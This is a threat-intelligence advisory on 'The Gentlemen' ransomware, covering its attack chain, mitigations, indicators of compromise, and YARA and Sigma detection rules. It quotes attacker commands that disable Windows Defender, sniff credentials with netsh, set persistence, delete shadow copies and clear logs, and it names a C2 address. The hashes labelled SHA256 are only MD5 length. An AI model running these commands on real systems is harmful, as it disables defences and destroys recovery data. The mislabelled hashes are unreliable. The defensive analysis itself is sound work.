> ## Content Index > Fetch the complete content index at: https://f4n6.co.uk/llms.txt > Use this file to discover other available public pages before exploring further. # The Gentlemen are knocking: сustom backdoors and evolving tactics - URL: https://f4n6.co.uk/security-feed/the-gentlemen-are-knocking-sustom-backdoors-and-evolving-tactics/ - Published: 2026-06-29T16:03:56.000Z - Updated: 2026-06-29T16:03:56.000Z - Author: Jeff Davies - Tags: #security-feed, The Gentlemen ## 1\. Executive summary The Gentlemen, a ransomware-as-a-service (RaaS) operation active since mid-2025 and ramping significantly through 2026, has been attributed to Storm-2697 by Microsoft Threat Intelligence. The group ranks among the top ransomware actors by victim count, with Check Point reporting at least 332 published victims since inception and 240+ in 2026 alone. The group targets internet-exposed VPNs and firewalls for initial access, deploys a Go-based ransomware with aggressive self-propagation via GPO and PsExec, and has begun developing a C-based variant using AES256-GCM + RSA encryption. Attribution to "The Gentlemen" is corroborated across Kaspersky, Microsoft, Check Point, and BleepingComputer; however, the actor name "The Gentlemen" has no MITRE ATT&CK profile in the verified reference data, and attribution must be treated as unconfirmed per Adverse Trace policy. EMEA financial services organisations are directly within the targeting scope — financial services is explicitly named as a targeted vertical. ## 2\. Regulatory framing | Article | Trigger (the fact in this item) | Practical impact | | ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | | DORA Art. 17: ICT-related incident management process | Ransomware deployment via GPO and PsExec constitutes a major ICT-related incident requiring an incident management process | Financial entities subject to DORA must have processes to detect, assess, and respond to ransomware incidents of this class | | DORA Art. 18: classification of ICT-related incidents and cyber threats | The Gentlemen ransomware with double extortion (encryption + data exfiltration) represents a critical-severity cyber threat requiring classification | Incidents must be classified by criticality; double-extortion ransomware with domain-wide propagation warrants the highest tier | | DORA Art. 19: reporting of major ICT-related incidents to competent authorities | Domain-wide ransomware encryption via GPO affecting all domain computers constitutes a major ICT-related incident | If a DORA-regulated entity is impacted, reporting to competent authorities is required | | NIS2 Art. 23: incident reporting obligations | Ransomware causing significant disruption to essential services triggers NIS2 incident reporting | NIS2-regulated entities in EMEA must report to their CSIRT/competent authority within mandated timelines | | UK NIS 2018: OES/RDSP duties | Ransomware impacting operational resilience of essential services | OES and RDSP operators must manage incidents to maintain service continuity | ## 3\. Technical analysis & attack chain ### Attack chain (confirmed steps) 1. **Initial access** — The Gentlemen and affiliates exploit vulnerabilities in online services and use stolen or weak credentials against internet-exposed hardware VPNs and firewalls. Multiple cybersecurity vendors corroborate this. Some cases involve initial access brokers (IABs) establishing access long before ransomware deployment. 2. **Internal reconnaissance** — The group deploys: - **SharpADWS** — gathers Active Directory information via domain object enumeration; bypasses standard logging by wrapping LDAP queries in SOAP messages. - **NetScan** (`netscan64.exe`, SHA256: `EDB1C480295250DD1A38F3AA1357DEAE`) — network scanning, port/service discovery. - **Advanced IP Scanner** (`Advanced_IP_Scanner_2.5.4594.1.exe`, SHA256: `5537C708EDB9A2C21F88E34E8A0F1744`) — network scanning. - **netsh** — packet capture via: `cmd.exe /Q /c netsh trace start capture=yes report=no filemode=circular overwrite=yes maxSize=4 > \\ADMIN$\{RANDOM-FILE-NAME} 2>&1` and stopped with `cmd.exe /Q /c netsh trace stop > \\ADMIN$\{RANDOM-FILE-NAME}`. Captured data saved to ADMIN$ share with random filename; analysed with Wireshark for unencrypted credentials. 3. **Backdoor deployment** — A custom Go implant is deployed approximately one day before ransomware execution. Capabilities: - Collects system info (hostname, domain, UUID, local IP addresses) into JSON with keys: `name`, `domain`, `uuid`, `localIPs`. - UUID obtained via WMI: `SELECT UUID FROM Win32_ComputerSystemProduct`. - C2: `81.177.215[.]15:9443` (port 9443 TCP). - Uses Yamux library for persistent bidirectional TCP connection. - Command execution: if C2 response byte is `c`, executes via `cmd.exe /c`; if byte is `s`, establishes SOCKS proxy. - Observed reconnaissance commands: `whoami`, `net group "Domain Admins" /domain`, `net group`, `dir c:\`, `cd c:\`. 4. **Security software disabling** — Multiple methods: - **BYOVD (Bring Your Own Vulnerable Driver)** — installs and exploits vulnerable drivers to kill EDR/AV: | Driver | Description | SHA256 | |---|---|---| | ProcessMonitorDriver.sys | Safetica DLP/EDR | `5761BD63DA03686FC480245DA7BD1E9F` | | wamsdk.sys | WatchDog anti-malware | `B6B51508AD6F462C45FE102C85D246C8` | | gamedriverx64.sys | Fedeen/Hotta anti-cheat | `8F0577D28C4FF5F71B149F444BFABA8E` | | biontdrv.sys / biontdrv\_wink.sys / biontdrv\_winbs.sys | Paragon partition manager | `525EF6014F0EF20E44FE47C1D9980B69` / `407B6A136BBAA7172EB44EF9D08BB58A` | | inpoutx64.sys | RGB lighting driver | `9321A61A25C7961D9F36852ECAA86F55` | | wsftprm.sys / wsddprm.sys | Topaz anti-fraud | `73F0A8C3EA794A04E80C32038249F044` | | Havoc.sys / havoc.sys | Huawei audio | `EEF8A950952696B018AA9C6DA2F5D7AD` | - **Open-source tools**: Windows Kernel Explorer and OpenArk64 — intercept/block system calls, remove security drivers. - **kavrmvr.exe** — attempts Kaspersky AV uninstall (blocked by behavioural detection). - **Registry-based Windows Defender disable**: `[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender] "DisableAntiSpyware"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection] "DisableBehaviorMonitoring"=dword:00000001 "DisableOnAccessProtection"=dword:00000001 "DisableScanOnRealtimeEnable"=dword:00000001` - **PowerShell Defender disable** (from Go implant): `powershell Set-MpPreference -DisableRealtimeMonitoring $true -Force Set-MpPreference -EnableControlledFolderAccess Disabled -Force Add-MpPreference -ExclusionProcess Add-MpPreference -ExclusionPath 'C:\'` 1. **Lateral movement and propagation**: - **GPO-based**: ransomware generates `deploy_gpo.ps1` in `%temp%`, copies itself to `NETLOGON` share, creates fake system update policy disabling Defender real-time monitoring, creates `ScheduledTasks.xml` in SYSVOL, modifies AD property `gPCMachineExtensionNames`, forces `gpupdate /force` on all computers. - **PsExec-based**: if PsExec absent, downloads from `https://live.sysinternals[.]com/PsExec.exe` to `C:\Temp\psexec.exe`. Uses RSAT installation via `Add-WindowsCapability`, `DISM.exe`, `Install-WindowsFeature`, `Get-ADComputer -Filter *` to enumerate domain computers. Pings targets with `ping.exe -n 1 -w 500 {target}`. Spreads via PsExec to active hosts. - **Hyper-V termination**: `Get-VM | Stop-VM -Force -TurnOff` to encrypt VM disk files. 2. **Encryption (Go variant)**: - Hybrid: Curve25519 + XChaCha20 stream cipher. - Per-file ephemeral Curve25519 key pair; shared secret computed against attacker public key (Base64): `HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=`. - File ACL modified to "Everyone: Full Control" before encryption. - Execution password (current build): `CbdU8EgF` — anti-sandbox mechanism. - Obfuscated with Garble (per Microsoft) — renames symbols, source files, structures, alters function signatures. - Ransom note: `README-GENTLEMEN.txt` containing victim ID, Tox ID, DLS address. - Desktop wallpaper changed (unless `--silent`). - Key parameters: `--password`, `--path`, `--T` (minutes), `--system`, `--shares`, `--full`, `--spread` (domain creds), `--gpo`, `--silent`, `--keep`, `--wipe`, `--no-admin`, `--fast` (9%), `--superfast` (3%), `--ultrafast` (1%). 3. **Persistence**: `schtasks.exe /Delete /TN "UpdateUser" /F schtasks.exe /Create /SC ONSTART /TN "UpdateUser" /TR "" reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GupdateS" /t REG_SZ /d "" /f` 4. **Anti-recovery and cleanup**: `vssadmin.exe delete shadows /all /quiet wmic.exe shadowcopy delete wevtutil.exe cl System wevtutil.exe cl Application wevtutil.exe cl Security cmd.exe /C del /f /q C:\Windows\Prefetch\*.* cmd.exe /C del /f /q C:\ProgramData\Microsoft\Windows Defender\Support\*.* cmd.exe /C del /f /q %SystemRoot%\System32\LogFiles\RDP*\*.* cmd.exe /C rd /s /q C:\$Recycle.Bin` 5. **Double extortion** — Microsoft confirms data exfiltration alongside encryption, with threat of public release via DLS. ### C-based variant (in development) - Limited deployment observed; structure similar to Go variant. - Encryption: AES256-GCM + RSA (OpenSSL statically linked). Random 32-byte key + 16-byte IV per file; 48-byte buffer encrypted with hardcoded RSA public key, appended to file; file contents encrypted with AES256-GCM. - ACL modification via `SetEntriesInAclA` API with `FULL_CONTROL` permission. - Scheduled task for SYSTEM execution: `schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd %s && %s" /st 20:00 /ru system > nul`, then `schtasks /run /tn TaskSystem > nul`. - Ransom note: `!-READ-ME—-GEN-TLE-MEN-!.txt` (XOR-decoded byte array). - Communication via email (not Tox, unlike Go variant). - Log clearing via `EvtClearLog` API (System, Forwarded Events, Application, Setup — note: "S" category appears to be a typo/bug). - Smaller denylists than Go variant — confirms developmental status. - Several parameters not yet implemented: `--ex`, `--fast`, `--superfast`, `--ultrafast`, `--silent`, `--shares`, `--full`. ### Confidence caveats - Attribution to "The Gentlemen" / Storm-2697 is corroborated by Kaspersky, Microsoft, Check Point, and BleepingComputer. However, "The Gentlemen" has **no MITRE ATT&CK profile** in the verified reference data — attribution is treated as **unconfirmed** per Adverse Trace policy. - The real-world identity attribution (Alexander Andreevich Yapaev, Izhevsk) is **single-sourced** to Krebs on Security / Constella Intelligence / Intel 471 — verify before enforcement. - The C variant analysis is based on a limited number of attacks and is assessed as in-development. ## 4\. Mitigation & containment ### P1 — Within 24 hours 1. **Block C2 infrastructure** at firewall/proxy/DNS: - `81.177.215[.]15` — backdoor C2 (port 9443 TCP). - `live.sysinternals[.]com` — legitimate but abused for PsExec download; consider blocking from non-admin endpoints or restricting to approved admin workstations only. 2. **Hunt for backdoor implant** — search endpoints for: - Go binaries making TCP connections to `81.177.215.15:9443`. - WMI query `SELECT UUID FROM Win32_ComputerSystemProduct` executed by unsigned Go binaries. - JSON containing keys `name`, `domain`, `uuid`, `localIPs` in process memory or network traffic. 3. **Hunt for ransomware binaries** — search for files matching: - Filenames: `locker.exe`, `gentle.exe`, `cosmo.exe`, `system_386.exe`, `getlwd.exe`, `AIR.exe`, `fin.exe`, `sihost.exe`, `UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b` (see IOC table for full list). - Files containing string `CbdU8EgF` (execution password). - Files containing Base64 key `HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=`. 4. **Hunt for BYOVD drivers** — search for presence of: - `ProcessMonitorDriver.sys`, `wamsdk.sys`, `gamedriverx64.sys`, `biontdrv.sys`, `biontdrv_wink.sys`, `biontdrv_winbs.sys`, `inpoutx64.sys`, `wsftprm.sys`, `wsddprm.sys`, `Havoc.sys`, `havoc.sys` — especially in non-standard locations or loaded by non-signed processes. 5. **Hunt for reconnaissance tools** — search for: - `netscan64.exe` (SHA256: `EDB1C480295250DD1A38F3AA1357DEAE`) - `Advanced_IP_Scanner_2.5.4594.1.exe` (SHA256: `5537C708EDB9A2C21F88E34E8A0F1744`) - `SharpADWS` execution (LDAP-over-SOAP traffic). - `netsh trace start` commands in process logs. 6. **Hunt for deploy\_gpo.ps1** — search `%temp%` and SYSVOL for: - `deploy_gpo.ps1` \- `ScheduledTasks.xml` in SYSVOL directory - Modifications to AD property `gPCMachineExtensionNames` 7. **Hunt for ransom notes**: - `README-GENTLEMEN.txt` (Go variant) - `!-READ-ME—-GEN-TLE-MEN-!.txt` (C variant) 8. **EDR rules** — create detection for: - `Set-MpPreference -DisableRealtimeMonitoring $true` executed by non-Microsoft signed processes. - `Add-MpPreference -ExclusionPath 'C:\'` — blanket exclusion. - Registry modifications to `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection` setting `DisableBehaviorMonitoring`, `DisableOnAccessProtection`, `DisableScanOnRealtimeEnable` to `1`. - `schtasks.exe /Create /SC ONSTART /TN "UpdateUser"` — persistence mechanism. - `schtasks /create /sc DAILY /tn "TaskSystem"` — C variant persistence. - `reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GupdateS"` — Run key persistence. - `vssadmin.exe delete shadows /all /quiet` — shadow copy deletion. - `wevtutil.exe cl` — event log clearing. ### P2 — Within 72 hours 1. **Audit NETLOGON and SYSVOL shares** — verify only legitimate scripts/binaries are present. Review NTFS permissions and recent file additions. 2. **Audit GPO changes** — review all Group Policy objects for unauthorised modifications, particularly any disabling Windows Defender real-time monitoring. 3. **Review scheduled tasks** — hunt for `UpdateUser` and `TaskSystem` across all endpoints. 4. **Review Run keys** — check `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` for `GupdateS` entry. 5. **Network segmentation review** — ensure EDR/AV communication cannot be blocked by BYOVD. Consider driver blocklisting for all listed vulnerable drivers via WDAC (Windows Defender Application Control) or ASR rules. 6. **Credential hygiene** — audit for weak/default credentials on VPNs and firewalls. Enforce MFA. Rotate credentials for any service accounts with domain-wide privileges. 7. **Backup verification** — verify offline/immutable backups exist and are tested. The group deletes shadow copies and wipes free space. ### P3 — Within 7 days 1. **Patch internet-exposed devices** — VPNs, firewalls, and other edge devices should be patched to latest vendor versions. The Gentlemen actively exploit known vulnerabilities in these devices. 2. **Implement driver blocklisting** — deploy WDAC policy or third-party EDR driver allow-listing to prevent loading of: `ProcessMonitorDriver.sys`, `wamsdk.sys`, `gamedriverx64.sys`, `biontdrv.sys`, `biontdrv_wink.sys`, `biontdrv_winbs.sys`, `inpoutx64.sys`, `wsftprm.sys`, `wsddprm.sys`, `Havoc.sys`, `havoc.sys`. 3. **Restrict PsExec** — remove PsExec from non-admin endpoints. Block `live.sysinternals.com` from endpoint egress. Consider AppLocker/WDAC rules preventing PsExec execution outside approved admin contexts. 4. **Hyper-V monitoring** — alert on `Get-VM | Stop-VM -Force -TurnOff` commands from non-admin or unexpected contexts. 5. **RSAT installation monitoring** — alert on `Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"` or `Install-WindowsFeature RSAT-AD-PowerShell` executed outside change management windows. 6. **Tabletop exercise** — run a DORA Art. 24 digital operational resilience test scenario based on The Gentlemen TTPs: initial access via VPN credential compromise → Go backdoor deployment → GPO-based ransomware propagation. Validate detection at each stage. ## 5\. Indicators of compromise | Type | Value | Confidence | Source | | -------- | -------------------------------------- | ---------- | --------- | | sha256 | 3B46A729DB7AE6AF8B19711C9452194D | High | Kaspersky | | filename | locker\_eryoo5\_windows\_amd64 | High | Kaspersky | | sha256 | 02944C8A5535CDB5B2CBB893DB2D5ACF | High | Kaspersky | | filename | locker\_lqy8xb\_windows\_amd64.exe | High | Kaspersky | | sha256 | 10CA9A4040001560D053B7E7885C1B95 | High | Kaspersky | | filename | locker\_28f3cl\_windows\_386.exe | High | Kaspersky | | sha256 | 3C471EBC947CDF32240A90FFADF49B13 | High | Kaspersky | | filename | locker\_aga19g\_windows\_amd64.exe | High | Kaspersky | | sha256 | 4BE8BB62F0EBBCF4CE52C35AB6F794F5 | High | Kaspersky | | filename | locker\_wh54td\_windows\_386.exe | High | Kaspersky | | sha256 | 53C616677BC7E2A0A03127F19166D007 | High | Kaspersky | | filename | locker\_p663zs\_windows\_amd64.exe | High | Kaspersky | | sha256 | 5C3B9821FC82A9028CB63B9671950919 | High | Kaspersky | | filename | locker.exe | High | Kaspersky | | sha256 | 5F0B2C6D9F442754258BF4DD841C8341 | High | Kaspersky | | filename | locker\_t1zged\_windows\_amd64.exe | High | Kaspersky | | sha256 | 608FAF58353B65C45EF9833358AC3787 | High | Kaspersky | | filename | locker\_u90lyt\_windows\_amd64.exe | High | Kaspersky | | sha256 | 6AE7C9A7EA0B8C40A64225734F6BD01D | High | Kaspersky | | filename | gentle.exe | High | Kaspersky | | sha256 | 846DC77C1246DB20D976346E0E359502 | High | Kaspersky | | filename | locker\_p663zs\_windows\_386.exe | High | Kaspersky | | sha256 | ADAC9984B3CC43D66A0D33079BBEC299 | High | Kaspersky | | filename | UcAaJ\_o\_1j9srso9a14071ps4p7s3f81s1b | High | Kaspersky | | sha256 | AE0E536766788478263BF448A9381641 | High | Kaspersky | | filename | cosmo.exe | High | Kaspersky | | sha256 | B3E418D30312C1B2C58A791286868F42 | High | Kaspersky | | filename | system\_386.exe | High | Kaspersky | | sha256 | C2764744DCB4B0E1DB79CA1E8BF65368 | High | Kaspersky | | filename | getlwd.exe | High | Kaspersky | | sha256 | D12A5B36DD00586CC374A1CAE43EFED4 | High | Kaspersky | | filename | locker\_c65ffp\_windows\_amd64.exe | High | Kaspersky | | sha256 | D2F72897E8986303D5567EB2384932B8 | High | Kaspersky | | filename | UcAaJ\_o\_1j9srso9a14071ps4p7s3f81s1b | High | Kaspersky | | sha256 | DE1522F9219497632F30F8A6E72F26B6 | High | Kaspersky | | filename | locker\_c7ekh7\_windows\_amd64.exe | High | Kaspersky | | sha256 | FDAE2BEB813778B4540A997706862096 | High | Kaspersky | | filename | AIR.exe | High | Kaspersky | | sha256 | B9986A0F1F1F1A798DC3F0C59A80A1A3 | High | Kaspersky | | filename | fin.exe | High | Kaspersky | | sha256 | 554E699C96B332468F1AE69C1AE81EF9 | High | Kaspersky | | filename | sihost.exe | High | Kaspersky | | sha256 | 5761BD63DA03686FC480245DA7BD1E9F | High | Kaspersky | | filename | processmonitordriver.sys | High | Kaspersky | | sha256 | B6B51508AD6F462C45FE102C85D246C8 | High | Kaspersky | | filename | wamsdk.sys | High | Kaspersky | | sha256 | 8F0577D28C4FF5F71B149F444BFABA8E | High | Kaspersky | | filename | gamedriverx64.sys | High | Kaspersky | | sha256 | 525EF6014F0EF20E44FE47C1D9980B69 | High | Kaspersky | | filename | biontdrv\_wink.sys | High | Kaspersky | | sha256 | 407B6A136BBAA7172EB44EF9D08BB58A | High | Kaspersky | | filename | biontdrv\_winbs.sys | High | Kaspersky | | sha256 | 9321A61A25C7961D9F36852ECAA86F55 | High | Kaspersky | | filename | inpoutx64.sys | High | Kaspersky | | sha256 | 73F0A8C3EA794A04E80C32038249F044 | High | Kaspersky | | filename | wsddprm.sys | High | Kaspersky | | sha256 | EEF8A950952696B018AA9C6DA2F5D7AD | High | Kaspersky | | filename | havoc.sys | High | Kaspersky | | sha256 | EDB1C480295250DD1A38F3AA1357DEAE | High | Kaspersky | | filename | netscan64.exe | High | Kaspersky | | sha256 | 5537C708EDB9A2C21F88E34E8A0F1744 | High | Kaspersky | | filename | Advanced\_IP\_Scanner\_2.5.4594.1.exe | High | Kaspersky | | ipv4 | 81.177.215.15 | High | Kaspersky | | filepath | \\Netlogon\\ | High | Kaspersky | | filepath | C:\\Sharing | High | Kaspersky | | filepath | C:\\Temp | High | Kaspersky | | filepath | C:\\Netlogon | High | Kaspersky | | filepath | C:\\Windows\\sysvol\\domain\\scripts\\ | High | Kaspersky | | filepath | %TEMP% | High | Kaspersky | | filepath | %User%\\Downloads | High | Kaspersky | | filepath | %User%\\Desktop | High | Kaspersky | ```iocs sha256 3B46A729DB7AE6AF8B19711C9452194D sha256 02944C8A5535CDB5B2CBB893DB2D5ACF sha256 10CA9A4040001560D053B7E7885C1B95 sha256 3C471EBC947CDF32240A90FFADF49B13 sha256 4BE8BB62F0EBBCF4CE52C35AB6F794F5 sha256 53C616677BC7E2A0A03127F19166D007 sha256 5C3B9821FC82A9028CB63B9671950919 sha256 5F0B2C6D9F442754258BF4DD841C8341 sha256 608FAF58353B65C45EF9833358AC3787 sha256 6AE7C9A7EA0B8C40A64225734F6BD01D sha256 846DC77C1246DB20D976346E0E359502 sha256 ADAC9984B3CC43D66A0D33079BBEC299 sha256 AE0E536766788478263BF448A9381641 sha256 B3E418D30312C1B2C58A791286868F42 sha256 C2764744DCB4B0E1DB79CA1E8BF65368 sha256 D12A5B36DD00586CC374A1CAE43EFED4 sha256 D2F72897E8986303D5567EB2384932B8 sha256 DE1522F9219497632F30F8A6E72F26B6 sha256 FDAE2BEB813778B4540A997706862096 sha256 B9986A0F1F1F1A798DC3F0C59A80A1A3 sha256 554E699C96B332468F1AE69C1AE81EF9 sha256 5761BD63DA03686FC480245DA7BD1E9F sha256 B6B51508AD6F462C45FE102C85D246C8 sha256 8F0577D28C4FF5F71B149F444BFABA8E sha256 525EF6014F0EF20E44FE47C1D9980B69 sha256 407B6A136BBAA7172EB44EF9D08BB58A sha256 9321A61A25C7961D9F36852ECAA86F55 sha256 73F0A8C3EA794A04E80C32038249F044 sha256 EEF8A950952696B018AA9C6DA2F5D7AD sha256 EDB1C480295250DD1A38F3AA1357DEAE sha256 5537C708EDB9A2C21F88E34E8A0F1744 ipv4 81.177.215.15 filepath \\Netlogon\ filepath C:\Sharing filepath C:\Temp filepath C:\Netlogon filepath C:\Windows\sysvol\domain\scripts\ filepath %TEMP% filepath %User%\Downloads filepath %User%\Desktop ``` ## 6\. Detection ### YARA rule ```yara rule Gentlemen_Ransomware_Go_Variant { meta { author = "Adverse Trace" date = "2026-06-29" reference = "https://securelist.com/the-gentlemen-raas/120447/" description = "Detects The Gentlemen Go-based ransomware and backdoor implant based on strings from Kaspersky analysis" } strings: $password = "CbdU8EgF" ascii $pubkey_b64 = "HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=" ascii $ransom_note_go = "README-GENTLEMEN.txt" ascii $ransom_note_c = "!-READ-ME---GEN-TLE-MEN-!.txt" ascii $deploy_gpo = "deploy_gpo.ps1" ascii $wmi_uuid = "SELECT UUID FROM Win32_ComputerSystemProduct" ascii $json_name = "\"name\"" ascii $json_domain = "\"domain\"" ascii $json_uuid = "\"uuid\"" ascii $json_localips = "\"localIPs\"" ascii $gpo_update = "gPCMachineExtensionNames" ascii $sched_task_user = "UpdateUser" ascii $sched_task_system = "TaskSystem" ascii $run_key = "GupdateS" ascii $psexec_url = "live.sysinternals" ascii $rsat_cap = "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" ascii $netsh_trace = "netsh trace start capture=yes" ascii condition: 3 of them } ``` ### Sigma rule ```yaml title: The Gentlemen Ransomware TTPs - Defence Evasion and Persistence id: 8f3a2c1d-4b5e-6f7a-8b9c-0d1e2f3a4b5c status: experimental description: > Detects defence evasion, persistence, and lateral movement techniques associated with The Gentlemen ransomware (Storm-2697), including Windows Defender disabling via registry and PowerShell, BYOVD driver loading, scheduled task creation for persistence, shadow copy deletion, event log clearing, and GPO-based propagation. references: - https://securelist.com/the-gentlemen-raas/120447/ - https://www.microsoft.com/en-us/security/blog/2026/05/28/the-gentlemen-ransomware-dissecting-a-self-propagating-go-encryptor/ author: Adverse Trace date: 2026/06/29 logsource: product: windows category: process_creation detection: selection_defender_ps: CommandLine|contains|all: - "Set-MpPreference" - "-DisableRealtimeMonitoring $true" selection_defender_exclusion: CommandLine|contains: - "Add-MpPreference -ExclusionPath 'C:\\'" - "Add-MpPreference -ExclusionProcess" selection_defender_cfa: CommandLine|contains|all: - "Set-MpPreference" - "-EnableControlledFolderAccess Disabled" selection_schtasks_persistence: CommandLine|contains|all: - "schtasks" - "/Create" - "UpdateUser" selection_schtasks_system: CommandLine|contains|all: - "schtasks" - "/create" - "TaskSystem" selection_run_key: CommandLine|contains|all: - "reg.exe add" - "GupdateS" - "CurrentVersion\\Run" selection_vssadmin: CommandLine|contains|all: - "vssadmin.exe delete shadows /all /quiet" selection_wevtutil: CommandLine|contains|all: - "wevtutil.exe cl" selection_netsh_trace: CommandLine|contains: - "netsh trace start capture=yes" selection_psexec_download: CommandLine|contains: - "Invoke-WebRequest" - "PsExec.exe" selection_rsat_install: CommandLine|contains: - "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" selection_gpo_update: CommandLine|contains: - "gpupdate /force" selection_stop_vm: CommandLine|contains: - "Stop-VM -Force -TurnOff" selection_taskkill: CommandLine|contains: - "taskkill.exe" selection_deploy_gpo: CommandLine|contains: - "deploy_gpo.ps1" selection_kavrmvr: CommandLine|contains: - "kavrmvr.exe" condition: 1 of selection_* falsepositives: - Legitimate administrative activity (gpupdate, netsh trace, RSAT installation) - Security tooling testing level: high ``` ## 7\. Sources - Kaspersky (Securelist) — "The Gentlemen RaaS: rapid growth and a new ransomware variant" — https://securelist.com/the-gentlemen-raas/120447/ — 2026-06-29 - Microsoft Threat Intelligence — "The Gentlemen ransomware: Dissecting a self-propagating Go encryptor" — https://www.microsoft.com/en-us/security/blog/2026/05/28/the-gentlemen-ransomware-dissecting-a-self-propagating-go-encryptor/ — 2026-05-28 - Krebs on Security — "Who Runs the Ransomware Group 'The Gentlemen?'" — https://krebsonsecurity.com/2026/06/who-runs-the-ransomware-group-the-gentlemen/ — 2026-06 - DataBreaches.net — "Who Runs the Ransomware Group 'The Gentlemen?'" — https://databreaches.net/2026/06/10/who-runs-the-ransomware-group-the-gentlemen/ — 2026-06-10 - BleepingComputer — "Gentlemen ransomware uses multiple EDR killers to disable defenses" — https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/ — 2026 ## 8\. Adverse Trace position This is a **high-severity** threat for EMEA financial services. The Gentlemen explicitly target financial services, operate a RaaS with a 90/10 revenue split accelerating affiliate recruitment, and combine rapid domain-wide propagation (GPO + PsExec) with double extortion. The Go backdoor deployed 24 hours before encryption provides a detection window — if the C2 at `81.177.215.15:9443` is observed, there is approximately 24 hours to contain before encryption begins. The C variant in development indicates the group is investing in capability expansion. Attribution to "The Gentlemen" is multi-vendor corroborated (Kaspersky, Microsoft, Check Point, BleepingComputer) but the actor name has no MITRE ATT&CK profile in verified reference data — we treat attribution as unconfirmed. The real-world identity claim (Krebs / Constella / Intel 471) is single-sourced; verify before enforcement. We will continue monitoring for the C variant maturation, new C2 infrastructure, and additional driver abuse. Clients should prioritise P1 actions immediately, particularly C2 blocking and backdoor hunting. --- [Read the original source →](https://securelist.com/the-gentlemen-raas/120447/?ref=f4n6.co.uk) *Published via PulseTrace — Adverse Trace threat intelligence.*